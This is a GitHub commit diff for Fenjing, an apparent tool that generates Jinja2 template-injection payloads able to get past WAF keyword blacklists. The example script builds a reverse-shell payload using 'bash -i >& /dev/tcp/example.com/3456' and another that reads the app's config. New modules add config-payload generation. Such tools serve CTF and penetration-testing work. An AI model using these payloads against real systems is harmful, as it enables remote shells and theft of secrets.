-
Notifications
You must be signed in to change notification settings - Fork 47
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
593 additions
and
209 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,22 +1,20 @@ | ||
from fenjing import exec_cmd_payload | ||
|
||
from fenjing import exec_cmd_payload, config_payload | ||
import logging | ||
|
||
logging.basicConfig(level = logging.INFO) | ||
|
||
def waf(s: str): | ||
blacklist = [ | ||
"config", "self", "g", "os", "class", "length", "mro", "base", "request", "lipsum", | ||
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", | ||
"[", '"', "'", "_", ".", "+", "~", "{{", | ||
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", | ||
"0","1","2","3","4","5","6","7","8","9" | ||
] | ||
return all(word in s for word in blacklist) | ||
|
||
for word in blacklist: | ||
if word in s: | ||
return False | ||
return True | ||
if __name__ == "__main__": | ||
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"") | ||
config_payload = config_payload(waf) | ||
|
||
payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"") | ||
print(f"{shell_payload=}") | ||
print(f"{config_payload=}") | ||
|
||
print(payload) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,5 @@ | ||
from . import exceptions, payload_gen | ||
from .shell_payload import exec_cmd_payload | ||
from .config_payload import config_payload | ||
from .int_vars import get_useable_int_vars | ||
from .form import Form, fill_form |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
from typing import Callable, Tuple, Dict | ||
from .const import CONFIG | ||
from .full_payload_gen import FullPayloadGen | ||
|
||
full_payload_store: Dict[int, FullPayloadGen] = {} | ||
|
||
def config_payload(waf_func: Callable[[str, ], bool]) -> str | None: | ||
"""根据提供的waf函数生成读取config的payload | ||
Args: | ||
waf_func (Callable[[str, ], bool]): waf函数,判断提供的payload能否通过waf, 能则返回True | ||
Returns: | ||
str|None: payload | ||
""" | ||
full_payload = None | ||
if id(waf_func) not in full_payload_store: | ||
full_payload = FullPayloadGen(waf_func) | ||
full_payload_store[id(waf_func)] = full_payload | ||
else: | ||
full_payload = full_payload_store[id(waf_func)] | ||
payload, will_print = full_payload.generate(CONFIG) | ||
if not will_print: | ||
return None | ||
return payload | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
DEFAULT_USER_AGENT = "Fenjing/0.1" | ||
|
||
LITERAL = "literal" | ||
UNSATISFIED = "unsatisfied" | ||
ZERO = "zero" | ||
POSITIVE_INTEGER = "positive_integer" | ||
INTEGER = "integer" | ||
STRING_STRING_CONCNAT = "string_string_concat" | ||
STRING_PERCENT = "string_percent" | ||
STRING_PERCENT_LOWER_C = "string_percent_lower_c" | ||
STRING_UNDERLINE = "string_underline" | ||
STRING_LOWERC = "string_lower_c" | ||
STRING_MANY_PERCENT_LOWER_C = "string_many_percent_lower_c" | ||
STRING = "string" | ||
FORMULAR_SUM = "formular_sum" | ||
ATTRIBUTE = "attribute" | ||
ITEM = "item" | ||
CLASS_ATTRIBUTE = "class_attribute" | ||
CHAINED_ATTRIBUTE_ITEM = "chained_attribute_item" | ||
EVAL_FUNC = "eval_func" | ||
EVAL = "eval" | ||
CONFIG = "config" | ||
MODULE_OS = "module_os" | ||
OS_POPEN_OBJ = "os_popen_obj" | ||
OS_POPEN_READ = "os_popen_read" | ||
|
||
GEN_TYPES = [ | ||
"literal", | ||
"unsatisfied", | ||
"zero", | ||
"positive_integer", | ||
"integer", | ||
"string_string_concat", | ||
"string_percent", | ||
"string_percent_lower_c", | ||
"string_underline", | ||
"string_lower_c", | ||
"string_many_percent_lower_c", | ||
"string", | ||
"formular_sum", | ||
"attribute", | ||
"item", | ||
"class_attribute", | ||
"chained_attribute_item", | ||
"eval_func", | ||
"eval", | ||
"config", | ||
"module_os", | ||
"os_popen_obj", | ||
"os_popen_read", | ||
] | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,2 @@ | ||
class NotTested(Exception): | ||
pass | ||
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.